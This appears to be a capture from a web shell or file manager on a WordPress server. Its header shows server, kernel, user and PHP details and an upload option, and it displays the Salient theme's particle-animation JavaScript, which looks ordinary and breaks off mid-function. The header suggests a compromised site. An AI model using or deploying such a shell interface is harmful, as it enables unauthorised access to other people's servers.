HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-87-generic #88-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 09:28:41 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/datacloudnow.com/wp-content/themes/salient/js/src/nectar-particles.js
/**
 * Salient "HTML5 Canvas Background" header effect script file.
 *
 * @package Salient
 * @author ThemeNectar
 */
 
(function() {
  var lastTime = 0;
  var vendors = ['ms', 'moz', 'webkit', 'o'];
  for(var x = 0; x < vendors.length && !window.requestAnimationFrame; ++x) {
    window.requestAnimationFrame = window[vendors[x]+'RequestAnimationFrame'];
    window.cancelAnimationFrame = window[vendors[x]+'CancelAnimationFrame'] || 
    window[vendors[x]+'CancelRequestAnimationFrame'];
  }
  
  if (!window.requestAnimationFrame)
  window.requestAnimationFrame = function(callback, element) {
    var currTime = new Date().getTime();
    var timeToCall = Math.max(0, 16 - (currTime - lastTime));
    var id = window.setTimeout(function() { callback(currTime + timeToCall); }, 
    timeToCall);
    lastTime = currTime + timeToCall;
    return id;
  };
  
  if (!window.cancelAnimationFrame)
  window.cancelAnimationFrame = function(id) {
    clearTimeout(id);
  };
}());

(function($) { 
  
  "use strict";

  jQuery(document).ready(function($){
    
    var $shapes = [];
    var $selector = ($('.nectar-box-roll').length > 0) ? '.nectar-box-roll .shape': '.nectar-particles .shape';
    
    function initSetup() {
      
      if( $selector.length == 0 ) {
        return false;
      }
      
      $($selector).each(function(i){
        $shapes[i] = {
          shape: $(this).attr('data-src'),
          colorMapping: ($(this).attr('data-color-mapping').length > 0) ? $(this).attr('data-color-mapping') : 'original',
          color: ($(this).attr('data-color').length > 0) ? $(this).attr('data-color') : '#fefefe',
          backgroundColor: ($(this).attr('data-bg-color').length > 0) ? $(this).attr('data-bg-color') : 'transparent',
          colorAlpha: ($(this).attr('data-alpha').length > 0) ? $(this).attr('data-alpha') : 'original', 
          density: ($(this).attr('data-density').length > 0) ? parseInt($(this).attr('data-density')) : 13, 
          densityOriginal: ($(this).attr('data-density').length > 0) ? parseInt($(this).attr('data-density')) : 13, 
          maxParticleSize: ($(this).attr('data-max-size').length > 0) ? parseInt($(this).attr('data-max-size')) : 3, 
          maxParticleSizeOriginal : ($(this).attr('data-max-size').length > 0) ? parseInt($(this).attr('data-max-size')) : 3
        };
        $(this).remove();
      });
    }
    initSetup();
    
    var Nodes = {
      
      // Settings
      canvasID: null,
      drawDistance: 28,
      maxLineThickness: 4,
      reactionSensitivity: 3,
      lineThickness: 1,
      points: [],
      mouse: { x: window.innerWidth*2, y: window.innerHeight*2, down: false },
      animation: null,
      randomMovement: false,
      impulsX : Math.random()*600-300,
      impulsY: -Math.random()*300,
      imgsToDraw: $shapes,
      timeoutHolder: null,
      totalImgCount: 0,
      loaded: false,
      loadedCount: 0,
      canvas: null,
      context: null,
      imageInput: null,
      bgImage: [],
      onMobile: false,
      explodeChance: true,
      currentShapeIndex: 0,
      currentSequenceIndex: 0,
      prevShapeIndex: 0,
      sequenceActive: false,
      decMultiplier: 0.02,
      bgCanvas: null,
      bgContext: null,
      bgContextPixelData: null,
      disableExplosion: $('#page-header-bg .nectar-particles').attr('data-disable-explosion'),
      rotateTimer: parseInt($('#page-header-bg .nectar-particles').attr('data-rotation-timing')),
      regularAnimation: true, 
      textPosition: $('#page-header-bg').attr('data-alignment-v'),
      textPositionH: $('#page-header-bg').attr('data-alignment'),
      fps: 43, 
      fpsDec: 0.13,
      now: 0,
      then: Date.now(),
      elapsed: 0,
      init: function(canvasID) {
        
        // Set up the visual canvas 
        this.canvas = $(canvasID)[0];
        this.context = this.canvas.getContext( '2d' );
        this.context.globalCompositeOperation = "lighter";
        this.canvas.width = ($(canvasID).parents('.nectar-box-roll').length > 0 ) ? window.innerWidth : $(canvasID).parents('#page-header-bg').outerWidth(true);
        this.canvas.height = ($(canvasID).parents('.nectar-box-roll').length > 0 ) ? window.innerHeight : $(canvasID).parents('#page-header-bg').outerHeight(true);
        this.canvas.style.display = 'block';
        
        this.canvasID = canvasID;
        
        //set initial bg color
        Nodes.canvasBgColor();
        
        //set mobile state
        if(this.canvas.width <= 690) this.onMobile = true;
        
        //default autorotate
        if($('#page-header-bg .nectar-particles').attr('data-rotation-timing').length < 1) Nodes.rotateTimer = 5500;
        
        if($(canvasID).parents('.nectar-box-roll').length > 0) {
          
          $('body').on('mousemove',function(e){
            if(Nodes.regularAnimation == true) {
              Nodes.mouse.x = e.clientX;
              Nodes.mouse.y = e.clientY;
            } 
          });
          
        } else {
          
          $(canvasID).parents('.nectar-particles').on('mousemove',function(e){
            Nodes.mouse.x = e.clientX - $(this).offset().left;
            Nodes.mouse.y = e.clientY - $(this).offset().top + $(window).scrollTop();
          });
          $(canvasID).parents('.nectar-particles').on('mouseout',function(){
            Nodes.mouse.x = 1000;
            Nodes.mouse.y = -1000;
            Nodes.mouse.down = false;
          });
          
        }
        
        
        //for non fullscreen mobile
        if($('#page-header-bg:not(.fullscreen-header)').length > 0 && $(window).width() < 1000) {
          $(window).load(function(){
            setTimeout(function(){
              
              Nodes.canvas.width = ($(canvasID).parents('.nectar-box-roll').length > 0 ) ? window.innerWidth : $(canvasID).parents('#page-header-bg').outerWidth(true);
              Nodes.canvas.height = ($(canvasID).parents('.nectar-box-roll').length > 0 ) ? window.innerHeight : $(canvasID).parents('#page-header-bg').outerHeight(true);
              Nodes.onWindowResize();    
              
            },50);
            
          });
        }
        
        
        window.onresize = function(event) {
          
          if(typeof(event.isTrigger) !== 'undefined') {
            return false;
          }
          
          Nodes.canvas.width = ($(canvasID).parents('.nectar-box-roll').length > 0 ) ? window.innerWidth : $(canvasID).parents('#page-header-bg').outerWidth(true);
          Nodes.canvas.height = ($(canvasID).parents('.nectar-box-roll').length > 0 ) ? window.innerHeight : $(canvasID).parents('#page-header-bg').outerHeight(true);
          Nodes.onWindowResize();    
        };
        
        //count shapes
        var j = 0;
        for( var i=0; i < Nodes.imgsToDraw.length; i++) {
          
          //check for sequenced
          if(typeof Nodes.imgsToDraw[i].shape === 'object'){
            
            for(j=0; j < Nodes.imgsToDraw[i].shape.length; j++) {
              this.totalImgCount++;
            }
          } else {
            this.totalImgCount++;
          }
          
        }
        
        //start loading the shapes
        var j = 0;
        for( var i=0; i < Nodes.imgsToDraw.length; i++) {
          
          //check for sequenced
          if(typeof Nodes.imgsToDraw[i].shape === 'object'){
            
            for(j=0; j < Nodes.imgsToDraw[i].shape.length; j++) {
              this.loadData(Nodes.imgsToDraw[i].shape[j],i,j,true);	
            }
          } else {
            this.loadData(Nodes.imgsToDraw[i].shape,i,null,false);
          }
          
        }
      },
      
      preparePoints: function(index,index2,resize) {
        
        // Clear the current points
        if(!jQuery.isArray(this.bgImage[index])) {
          this.points[index] = [];
        } else {
          if(typeof this.points[index] !== 'object') this.points[index] = {};
          this.points[index][index2] = [];	
        }
        
        var i, j;
        
        var colors = this.bgContextPixelData.data;
        
        for( i = 0; i < this.canvas.height; i += this.imgsToDraw[index].density ) {
          
          for ( j = 0; j < this.canvas.width; j += this.imgsToDraw[index].density ) {
            
            var pixelPosition = ( j + i * this.bgContextPixelData.width ) * 4;
            
            // Dont use whiteish pixels
            if ( colors[pixelPosition] > 200 && (colors[pixelPosition + 1]) > 200 && (colors[pixelPosition + 2]) > 200 || colors[pixelPosition + 3] === 0 ) {
              continue;
            }
            
            var xPos, yPos;
            
            //first shape while loading
            if(index == 0) {
              var rndNumX = (Math.random() > 0.5) ? Math.random()*window.innerWidth : Math.random()*-window.innerWidth;
              var rndNumY = (Math.random() > 0.5) ? Math.random()*window.innerHeight : Math.random()*-window.innerHeight;
              xPos = Math.random()*(window.innerWidth*2) +rndNumX;
              yPos = Math.random()*(window.innerHeight*2) +rndNumY;
              
            }
            
            //all others 
            else {
              
              var mathRnd = Math.random();
              
              //going back into sequenced
              var prevIndex = (index == this.points.length) ? 0 : index-1;
              if(!jQuery.isArray(this.points[prevIndex]) && typeof this.points[prevIndex] === 'object') {
                var prevIndex2 = (index2 == this.points[prevIndex].length) ? 0 : index2-1; 
                mathRnd = Math.random();
                xPos = this.points[prevIndex][prevIndex2][Math.floor(mathRnd *this.points[prevIndex][prevIndex2].length)].originalX;
                yPos = this.points[prevIndex][prevIndex2][Math.floor(mathRnd *this.points[prevIndex][prevIndex2].length)].originalY;
              } else {
                mathRnd = Math.random();
                xPos = this.points[prevIndex][Math.floor(mathRnd *this.points[prevIndex].length)].originalX;
                yPos = this.points[prevIndex][Math.floor(mathRnd *this.points[prevIndex].length)].originalY;
              }
              
            }
            
            //when user resizes screen
            if(resize == true && Nodes.randomMovement == false && $(Nodes.canvasID).attr('data-loaded') == 'true') {
              xPos = j+this.ran(-7,7);
              yPos = i+this.ran(-7,7);
            } else if(resize == true && Nodes.randomMovement == true && $(Nodes.canvasID).attr('data-loaded') == 'true') {
              xPos = Math.random()*(window.innerWidth);
              yPos = Math.random()*(window.innerHeight);
            }
            
            
            //alpha mapping
            switch(this.imgsToDraw[index].colorAlpha){
              case 'original':
              alpha = 1;
              break;
              case 'random':
              var alpha = Math.random() + 0.3;
              if(alpha > 1) {
                alpha = 1;
              }
              break;
            }
            
            //color mapping
            var r, g, b, color;
            
            switch(this.imgsToDraw[index].colorMapping){
              case 'original':
                r = colors[pixelPosition];
                g = colors[pixelPosition+1];
                b = colors[pixelPosition+2];
                color = 'rgba(' + r + ',' + g + ',' + b + ',' + alpha +')';
              break;
              
              case 'solid':
                var hex = this.imgsToDraw[index].color.replace('#','');
                r = parseInt(hex.substring(0,2), 16);
                g = parseInt(hex.substring(2,4), 16);
                b = parseInt(hex.substring(4,6), 16);
                color = 'rgba(' + r + ',' + g + ',' + b + ',' + alpha +')';
              break;
              
              case 'random':
                r = Math.floor(Math.random()*255);
                g = Math.floor(Math.random()*255);
                b = Math.floor(Math.random()*255);
                color = 'rgba(' + r + ',' + g + ',' + b + ',' + alpha +')';
              break;
            }
            
            
            var flashChance = (Math.random() < 0.5) ? true : false;
            var rndNum = Math.random();
            
            if(!jQuery.isArray(this.bgImage[index])) {
              
              this.points[index].push({ 
                x: xPos, 
                y: yPos, 
                originalX: j, 
                originalY: i, 
                toX: Math.random()*(window.innerWidth), 
                toY: Math.random()*(window.innerHeight), 
                r: r,
                g: g,
                b: b,
                a: alpha,
                hiddenDuringTrans: false,
                originalAlpha: alpha,
                color: color, 
                baseRadius: Math.ceil(rndNum*this.imgsToDraw[index].maxParticleSize), 
                baseRadiusOriginal: Math.ceil(rndNum*this.imgsToDraw[index].maxParticleSize),
                randomPosX: Math.random()*6,
                randomPosY: Math.random()*6,
                shrinking: false, 
                shrinkDelay: Math.random()*100,
                flashSize: flashChance, 
                used: false, 
                duplicate: false, 
                randomNum: rndNum 
              });
              
              if(this.points[index].baseRadius < 1) { 
                this.points[index].baseRadius = 1; this.points[index].baseRadiusOriginal = 1; 
              }
            } else {
              
              this.points[index][index2].push({ 
                x: j, 
                y: i, 
                originalX: j, 
                originalY: i, 
                seqX: j,
                seqY: i,
                sequenceUsed: false,
                toX: Math.random()*(window.innerWidth), 
                toY: Math.random()*(window.innerHeight), 
                color: color, 
                baseRadius: Math.ceil(rndNum*3), 
                baseRadiusOriginal: Math.ceil(rndNum*3),
                shrinking: false, 
                shrinkDelay: Math.random()*100,
                flashSize: flashChance, 
                randomNum: rndNum 
              });
            }
            
          }
        }
        
        //hide particles for trans
        for(var u=0; u<this.points[index].length;u++) {
          
          var randomNum = Nodes.ran(0,this.points[index].length);
          var divider;
          
          if(window.innerWidth < 690) {
            divider = (this.points[index].length > 200) ? 8 : 5;
            if(this.points[index].length > 150 && randomNum > Math.floor(this.points[index].length/divider)) {
              this.points[index][u].hiddenDuringTrans = true;
            }
          } else {
            
            if(this.points[index].length > 800) {
              divider = 6;
            } else if (this.points[index].length <= 800 && this.points[index].length > 600) {
              divider = 4.5;
            } else if (this.points[index].length <= 600 && this.points[index].length > 400) {
              divider = 3.5;
            }
            else if (this.points[index].length <= 400) {
              divider = 1.5;
            } 
            
            if(this.points[index].length > 350 && randomNum > Math.floor(this.points[index].length/divider)) {
              this.points[index][u].hiddenDuringTrans = true;
            }
          }
          
        }
        
        
        //initiate 
        if(index == Nodes.imgsToDraw.length -1) {
          
          Nodes.draw();
          
          //start the rotate timer
          if(resize == false) Nodes.particlesRotate(false);
          
          
        }
        
        
        
      },
      
      
      updatePoints: function() {
        
        var i, currentPoint, theta, distance, dx, dy;
        
        this.impulsX = this.impulsX - this.impulsX / 30;
        this.impulsY = this.impulsY - this.impulsY / 30;
        
        
        var shapeIndex = this.points[Math.floor(this.currentShapeIndex)];
        
        if(this.onMobile == true) {
          if(Nodes.decMultiplier < 0.23) Nodes.decMultiplier += 0.0015; 
        }
        else { 
          if(Nodes.decMultiplier < 0.125) Nodes.decMultiplier += 0.0004; 
        }
        
        
        
        //proc
        for (i = 0; i < shapeIndex.length; i++ ){
          
          currentPoint = shapeIndex[i];
          
          theta = Math.atan2( currentPoint.y - this.mouse.y, currentPoint.x - this.mouse.x);
          

          
          distance = this.reactionSensitivity * 60 / Math.sqrt((this.mouse.x - currentPoint.x) * (this.mouse.x - currentPoint.x) +
          (this.mouse.y - currentPoint.y) * (this.mouse.y - currentPoint.y));  
          if(distance > 50) {
            distance = 0;
          }
          
          
          if (! shapeIndex[i].time)  {
            
            shapeIndex[i].time  = this.ran(70, 200);
            shapeIndex[i].deg   = this.ran(-120, 180);
            shapeIndex[i].vel   = this.ran(0.08, 0.14);  
            
          }                
          
          // Calc movement
          
          var velocity = (Nodes.randomMovement == false) ? shapeIndex[i].vel : shapeIndex[i].vel;
          
          dx = velocity * Math.cos(shapeIndex[i].deg * Math.PI/180);
          dy = velocity * Math.sin(shapeIndex[i].deg * Math.PI/180);
          
          if(Nodes.loaded != false) {
            
            currentPoint.x += dx;
            currentPoint.y += dy;
          }
          
          if (shapeIndex[i].curve > 0) { shapeIndex[i].deg = shapeIndex[i].deg + 2; }
          else { shapeIndex[i].deg = shapeIndex[i].deg - 2; }
          
          shapeIndex[i].time = shapeIndex[i].time - 1;
          
          
          //before loaded
          if(Nodes.loaded == false) {
            
            
            if (shapeIndex[i].vel < 0.4) {
              //skip processing.
            }
            else {
              shapeIndex[i].vel = shapeIndex[i].vel - 0.00;
            }
            
            currentPoint.x += Math.cos(theta) * distance;
            currentPoint.y += Math.sin(theta) * distance;
            //after loaded
          } else {
            
            //next shape
            if(Nodes.randomMovement == false){
              
              if(Nodes.sequenceActive == false) {
                
                currentPoint.baseRadius = Math.ceil(currentPoint.randomNum * Nodes.imgsToDraw[Math.floor(this.currentShapeIndex)].maxParticleSize);
                
                currentPoint.baseRadiusOriginal = currentPoint.baseRadius;
                
                if (shapeIndex[i].vel < 0.4) shapeIndex[i].time = 0;
                else shapeIndex[i].vel = shapeIndex[i].vel - 0.008;
                
                currentPoint.x += Math.cos(theta) * distance + (shapeIndex[i].originalX - currentPoint.x) * Nodes.decMultiplier;
                currentPoint.y += Math.sin(theta) * distance + (shapeIndex[i].originalY - currentPoint.y) * Nodes.decMultiplier;
              } else {
                
                if(typeof this.points[Math.floor(this.currentShapeIndex)][Nodes.currentSequenceIndex][i] !== 'undefined'){
                  currentPoint.x += Math.cos(theta) * distance + (this.points[Math.floor(this.currentShapeIndex)][0][i].seqX - currentPoint.x) * 0.08;
                  currentPoint.y += Math.sin(theta) * distance + (this.points[Math.floor(this.currentShapeIndex)][0][i].seqY - currentPoint.y) * 0.08;
                }
              }
            }
            
            //random movement 
            else {
              
              if(i == 0 && this.reactionSensitivity < 8) {
                this.reactionSensitivity = 8;
              }
              
              
              var sizeMovement = shapeIndex[i].randomNum*currentPoint.baseRadius/4;
              
              if(sizeMovement < 0.25) {
                sizeMovement = 0.25;
              }
              
              
              if (! shapeIndex[i].time2)  {
                shapeIndex[i].time2 = this.ran(300, 900);
              }    
              
              shapeIndex[i].time2 = shapeIndex[i].time2 - 1;
              
              currentPoint.x += Math.cos(theta) * distance + ((shapeIndex[i].toX - currentPoint.x) * 0.027);
              currentPoint.y += Math.sin(theta) * distance + ((shapeIndex[i].toY - currentPoint.y) * 0.027);
              
              
              
              // check for bounds
              if(currentPoint.x < -(this.canvas.width*0.1)) {
                currentPoint.x = this.canvas.width*1.1;
                currentPoint.toX = this.canvas.width*1.1 - (this.ran(20,40)*4);
              }
              if(currentPoint.x > this.canvas.width*1.1) {
                currentPoint.x = -(this.canvas.width*0.1);
                currentPoint.toX = -(this.canvas.width*0.1) + (this.ran(20,40)*4);
              }
              
              if(currentPoint.y < -(this.canvas.height*0.1)) {
                currentPoint.y = this.canvas.height*1.1;
                currentPoint.toY = this.canvas.height*1.1 - (this.ran(20,40)*4);
              }
              if(currentPoint.y > this.canvas.height*1.1) {
                currentPoint.y = -(this.canvas.height*0.1);
                currentPoint.toY = -(this.canvas.height*0.1) + (this.ran(20,40)*4);
              }
              
              currentPoint.toX += Math.floor(this.impulsX  * sizeMovement*30/30) + (this.impulsX/7*currentPoint.randomPosX);
              currentPoint.toY += Math.floor(this.impulsY * sizeMovement*30/30) + (this.impulsY/7*currentPoint.randomPosY);
              
              //sparkle
              if(currentPoint.shrinkDelay >= 0 ) currentPoint.shrinkDelay = currentPoint.shrinkDelay - 0.5;
              
              if(currentPoint.flashSize == true && currentPoint.shrinkDelay <= 0) { 
                
                ////start large
                if(currentPoint.baseRadius == currentPoint.baseRadiusOriginal && currentPoint.shrinking == false) {
                  currentPoint.baseRadius = Nodes.imgsToDraw[Math.floor(this.currentShapeIndex)].maxParticleSize+4;
                  currentPoint.alpha = 1;
                  currentPoint.color = 'rgba(' + currentPoint.a + ',' + currentPoint.g + ',' + currentPoint.b + ',' +'1)';
                  currentPoint.shrinking = true;
                }
                
                ////dec
                currentPoint.baseRadius = (currentPoint.baseRadius - 0.3 > 1) ? currentPoint.baseRadius - 0.3 : 1;
                currentPoint.alpha = (currentPoint.alpha >= currentPoint.originalAlpha && currentPoint.originalAlpha != 1) ? currentPoint.alpha - 0.01 : currentPoint.originalAlpha;
                currentPoint.color = 'rgba(' + currentPoint.r + ',' + currentPoint.g + ',' + currentPoint.b + ',' + currentPoint.alpha+')';
                
                ////end size
                if(currentPoint.baseRadius <= currentPoint.baseRadiusOriginal && currentPoint.shrinking == true) {
                  currentPoint.baseRadius = currentPoint.baseRadiusOriginal;
                  currentPoint.flashSize = false;
                  currentPoint.shrinking = false;
                  currentPoint.shrinkDelay = Math.random()*100;
                  currentPoint.color = 'rgba(' + currentPoint.r + ',' + currentPoint.g + ',' + currentPoint.b + ',' + currentPoint.originalAlpha+')';
                  
                  ////set new random one
                  shapeIndex[Math.floor(Math.random()*shapeIndex.length)].flashSize = true;
                }
                
                
                
              }
              
              
              
            }
            
          }
          
        }
        
        
        
        
      },
      
      
      drawPoints: function() {
        
        var i, currentPoint;
        
        var shapeIndex = this.points[Math.floor(this.currentShapeIndex)];
        
        
        for ( i = 0; i < shapeIndex.length; i++ ) {
          
          currentPoint = shapeIndex[i];
          
          var randomNum = shapeIndex[i].randomNum;
          if (randomNum < 0.1) {
            randomNum = 0.3;
          }
          
          //skip drawing some particles during trans
          if(currentPoint.hiddenDuringTrans == true && Nodes.randomMovement == true) {
            continue;
          }
          
          // Draw the particle
          this.context.beginPath();
          this.context.arc(currentPoint.x, currentPoint.y, currentPoint.baseRadius, 0 , Math.PI*2, true);
          this.context.fillStyle = currentPoint.color;
          this.context.fill();
          this.context.closePath();
          
        }
      },
      
      draw: function() {
              
        if(Nodes.regularAnimation == true || Nodes.randomMovement == true) {
          
          Nodes.animation = requestAnimationFrame( Nodes.draw );
          
          //throttle fps to 60
          Nodes.now = Date.now();
          Nodes.elapsed = Nodes.now - Nodes.then;
          if (Nodes.elapsed > 16.666) {
            Nodes.then = Nodes.now - (Nodes.elapsed % 16.666);
            
            if($('#page-header-bg.out-of-sight').length == 0) {
              Nodes.clear();
              Nodes.updatePoints();
              Nodes.drawPoints();
            }
          } 
          
        } 
        else {
          Nodes.fpsDec +=0.23;
          Nodes.fps = (Nodes.fps >= 0) ?  Nodes.fps - Nodes.fpsDec : 0;
          Nodes.decMultiplier = 0.14;
          setTimeout(function() {
            Nodes.animation = requestAnimationFrame( function(){ if(Nodes.fps > 0) Nodes.draw(); } );
            // Drawing code goes here
          }, 1000 / Nodes.fps);
          
          
          if($('#page-header-bg.out-of-sight').length == 0) {
            Nodes.clear();
            Nodes.updatePoints();
            Nodes.drawPoints();
          }
          
        } 
        
        
      },
      
      clear: function() {
        this.context.clearRect(0, 0, this.canvas.width, this.canvas.height);
      },
      
      ran: function(min, max)  {  
        return Math.floor(Math.random() * (max - min + 1)) + min;  
      },
      
      
      loadData: function( data,index,index2,sequence ) {
        
        
        if(sequence == true) {
          if(typeof this.bgImage[index] !== 'object') this.bgImage[index] = [];
          this.bgImage[index][index2] = new Image;
          this.bgImage[index][index2].src = data;
        } else {
          this.bgImage[index] = new Image;
          this.bgImage[index].src = data;
        }
        
        if(!jQuery.isArray(this.bgImage[index])) {
          
          this.bgImage[index].onload = function(){
            Nodes.callDrawImageToBackground(index,index2);
          };

        } else {
          this.bgImage[index][index2].onload = function(){
            Nodes.callDrawImageToBackground(index,index2);
          };
        }
        
      
      },
      
      particlesRotate: function(skipInitialDelay){
        
        var initTimeOut = (skipInitialDelay == true) ? 0 : 800;
        
        setTimeout(function(){ 
          
          var timeoutInterval = (Nodes.loaded == false) ? Nodes.rotateTimer + 1000 : Nodes.rotateTimer;
          
          Nodes.loaded = true; 
          setTimeout(function(){ $(Nodes.canvasID).attr('data-loaded','true'); }, 1000);
          
          if(Nodes.imgsToDraw.length > 1) Nodes.timeoutHolder = setTimeout( function(){ 
            Nodes.particleRotateLogic(false); 
          }, timeoutInterval);
          
          Nodes.canvasBgColor();
          initTextEffect(Nodes.canvasID);
          
          
        }, initTimeOut);
        
        //fadeout loading animation
        if(skipInitialDelay != true) {
          $('#ajax-loading-screen').stop().transition({'opacity':0},1000,function(){ 
            $(this).css({'display':'none'}); 
          }); 
          $('#ajax-loading-screen .loading-icon').transition({'opacity':0},1000); 
        }
        
      },
      
      
      particleRotateLogic: function(seek) {
        
        //clear current timeout incase seeked
        clearTimeout(Nodes.timeoutHolder);
        
        //don't switch during boxroll
        if($('.canvas-bg.topBoxOut').length > 0) {
          return false;
        }
        
        //chance for random movement or next shape
        var explodeChance = (Nodes.disableExplosion == 'on') ? 0 : 0.4;
        var timeoutInterval;
          
        if(Math.random() > explodeChance || seek !== false) {
          
          //update shape index
          if(seek !== false) {
            Nodes.prevShapeIndex = Nodes.currentShapeIndex;
            Nodes.currentShapeIndex = seek; 
          } else {
            Nodes.currentShapeIndex = (Nodes.currentShapeIndex+1 == Nodes.imgsToDraw.length) ? 0 : Nodes.currentShapeIndex+1; 
          }
          
          //slow particles during trans
          if(Nodes.randomMovement == false) {
            Nodes.decMultiplier = 0.06;
          }
          else { 
            Nodes.decMultiplier = 0.06; 
          }
          
          
          var prevIndex = (Nodes.currentShapeIndex == Nodes.points.length) ? 0 : Math.floor(Nodes.currentShapeIndex-1);
          
          if(Math.floor(Nodes.currentShapeIndex) - 1 == -1) {
            prevIndex = Nodes.points.length - 1;
          }
          
          var prevPrevIndex = (prevIndex-1 == -1) ? Nodes.points.length - 1 : prevIndex-1;
          var mathRnd;
          var xPos, yPos;
          
          //set next shape x/y pos to match the previos one after rnd movement
          for (var i = 0; i < Nodes.points[Nodes.currentShapeIndex].length; i++ ) {
            
            mathRnd = Math.random();
            
            if(seek !== false) {
              xPos = Nodes.points[Nodes.prevShapeIndex][Math.floor(mathRnd*Nodes.points[Nodes.prevShapeIndex].length)].x;
              yPos = Nodes.points[Nodes.prevShapeIndex][Math.floor(mathRnd*Nodes.points[Nodes.prevShapeIndex].length)].y;
            } else {
              if(Nodes.randomMovement == true) {
                
                mathRnd = Math.random();
                
                xPos = Nodes.points[prevIndex][Math.floor(mathRnd*Nodes.points[prevIndex].length)].x;
                yPos = Nodes.points[prevIndex][Math.floor(mathRnd*Nodes.points[prevIndex].length)].y;
                
              } else {
                xPos = Nodes.points[prevIndex][Math.floor(mathRnd*Nodes.points[prevIndex].length)].x;
                yPos = Nodes.points[prevIndex][Math.floor(mathRnd*Nodes.points[prevIndex].length)].y;
              }
              
              
            }
            
            Nodes.points[Nodes.currentShapeIndex][i].x = xPos;
            Nodes.points[Nodes.currentShapeIndex][i].y = yPos;
            
          } 
          
          var $paginationTimeout = (Nodes.randomMovement == true) ? 300 : 300;
          Nodes.randomMovement = false;
          $(Nodes.canvasID).attr('data-randomMovement','false');
          
          //reset points to prev shap after animation is complete
          for (i = 0; i < Nodes.points[prevIndex].length; i++ ) {
            mathRnd = Math.random();
            xPos = Nodes.points[prevPrevIndex][Math.floor(mathRnd*Nodes.points[prevPrevIndex].length)].originalX;
            yPos = Nodes.points[prevPrevIndex][Math.floor(mathRnd*Nodes.points[prevPrevIndex].length)].originalY;
            Nodes.points[prevIndex][i].x = xPos;
            Nodes.points[prevIndex][i].y = yPos;
            
            Nodes.points[prevIndex][i].toX = Math.random()*(window.innerWidth); 
            Nodes.points[prevIndex][i].toY = Math.random()*(window.innerHeight); 
            
            //reset flash chance
            var flashChance = (Math.random() < 0.5) ? true: false;
            Nodes.points[prevIndex][i].flashSize = flashChance;
          } 
          
          if(this.reactionSensitivity > 4) {
            this.reactionSensitivity = (window.innerWidth > 690) ? 4 : 1; 
          }
          
          //handle captions
          var currentCaptionIndex, nextCaptionIndex;
          
          if(seek !== false) {
            currentCaptionIndex = seek+1;
            nextCaptionIndex = seek+1;	
          } else {
            currentCaptionIndex = (Nodes.currentShapeIndex == 0) ? Nodes.imgsToDraw.length : Nodes.currentShapeIndex;
            nextCaptionIndex = (Nodes.currentShapeIndex == Nodes.points.length) ? 0 : Math.floor(Nodes.currentShapeIndex+1);	
          }
          
          Nodes.shapeTextDisplay(currentCaptionIndex, nextCaptionIndex, seek);
          
          //update pagination
          var $selector = ($('.nectar-box-roll').length > 0) ? '.nectar-box-roll': '.nectar-particles';
          if($(Nodes.canvasID).parents($selector).find('.pagination-navigation').length > 0 && seek == false) {
            setTimeout( function(){ 
              $(Nodes.canvasID).parents($selector).find('.pagination-dot').eq(Nodes.currentShapeIndex).trigger('click'); 
            },$paginationTimeout);
          }
          
          timeoutInterval = Nodes.rotateTimer;
          Nodes.timeoutHolder = setTimeout( function(){ Nodes.particleRotateLogic(false); }, timeoutInterval);
          
        } else {
          timeoutInterval = 2800;
          Nodes.timeoutHolder = setTimeout( function(){ Nodes.particleRotateLogic(false); }, timeoutInterval);
          
          Nodes.randomMovement = true;
          $(Nodes.canvasID).attr('data-randomMovement','true');
          
          Nodes.impulsX = Math.random()*600-300;
          Nodes.impulsY = -Math.random()*300;
          for (i = 0; i < Nodes.points[Nodes.currentShapeIndex].length; i++ ) {
            var currentPoint = Nodes.points[Nodes.currentShapeIndex][i];
            currentPoint.randomPosX = Math.random()*6;
            currentPoint.randomPosY = Math.random()*6;
          }
          
        }
        
        Nodes.canvasBgColor();
        
        
        
      },
      
      canvasBgColor: function(){
        
        jQuery(Nodes.canvasID).parents('.nectar-particles').find('.canvas-bg').css({
          'background-color': Nodes.imgsToDraw[Nodes.currentShapeIndex].backgroundColor
        });
      },
      
      resetShapeTextTimeout: null,
      shapeTextDisplay: function(index, index2, seek){
        
        clearTimeout(Nodes.resetShapeTextTimeout);
        
        var $rotate = 0;
        var $selector = ($('.nectar-box-roll').length > 0) ? '.nectar-box-roll': '.nectar-particles';
        jQuery(Nodes.canvasID).parents($selector).find('.inner-wrap').css('z-index',10);
        
        if(seek !== false) {
          jQuery(Nodes.canvasID).parents($selector).find('.inner-wrap:not(.shape-'+index+')').each(function(i){
            $(this).find('> *').each(function(i){
              $(this).stop(true,true).delay(i*150).transition({'opacity':'0'}, 250, 'ease');
            });
          });
          Nodes.resetShapeTextTimeout = setTimeout(function(){ jQuery(Nodes.canvasID).parents($selector).find('.inner-wrap:not(.shape-'+index+') > *').delay(50).transition({ 'rotateX': $rotate, 'y': '30px'}, 0); }, jQuery(Nodes.canvasID).parents($selector).find('.inner-wrap:not(.shape-'+index+')').length * 200 );
          
        } else {
          jQuery(Nodes.canvasID).parents($selector).find('.shape-'+index+' > *').each(function(i){
            $(this).stop(true,true).delay(i*150).transition({'opacity':'0'}, 250, 'ease');
          });
          
          Nodes.resetShapeTextTimeout = setTimeout(function(){ jQuery(Nodes.canvasID).parents($selector).find('.shape-'+index+' > *').transition({'rotateX': $rotate, 'y': '30px'}, 0); }, jQuery(Nodes.canvasID).parents($selector).find('.shape-'+index+' > *').length * 200 );
          
        }
        
        jQuery(Nodes.canvasID).parents($selector).find('.shape-'+index2).css('z-index',100);
        jQuery(Nodes.canvasID).parents($selector).find('.shape-'+index2+' > *').each(function(i){
          $(this).stop(true,true).delay(jQuery(Nodes.canvasID).parents($selector).find('.shape-'+index+' > *').length * 150 + (i*175)).transition({'opacity':'1', 'y': 0, 'rotateX': '0'}, 700, 'ease');
        });
        
      },
      
      
      
      particleSequenceRotate: function() {
        setInterval(function(){
          
          
          var currentPoint, otherPoint, otherPointCache, distance, def;
          
          
          for( var i=0; i < Nodes.points.length; i++) {
            
            //check for sequenced
            if( !jQuery.isArray(Nodes.points[i]) && typeof Nodes.points[i] === 'object'){
              
              for(var j=0; j < 1; j++) {
                
                
                for(var k=0; k < Nodes.points[i][0].length; k++) {
                  
                  currentPoint = Nodes.points[i][0][k];
                  
                  def = 1000;

                  for(var u=0; u < Nodes.points[i][Nodes.currentSequenceIndex].length; u++) {
                    
                    otherPoint = Nodes.points[i][Nodes.currentSequenceIndex][u];
                    
                    if ( otherPoint.sequenceUsed != true) {
                      
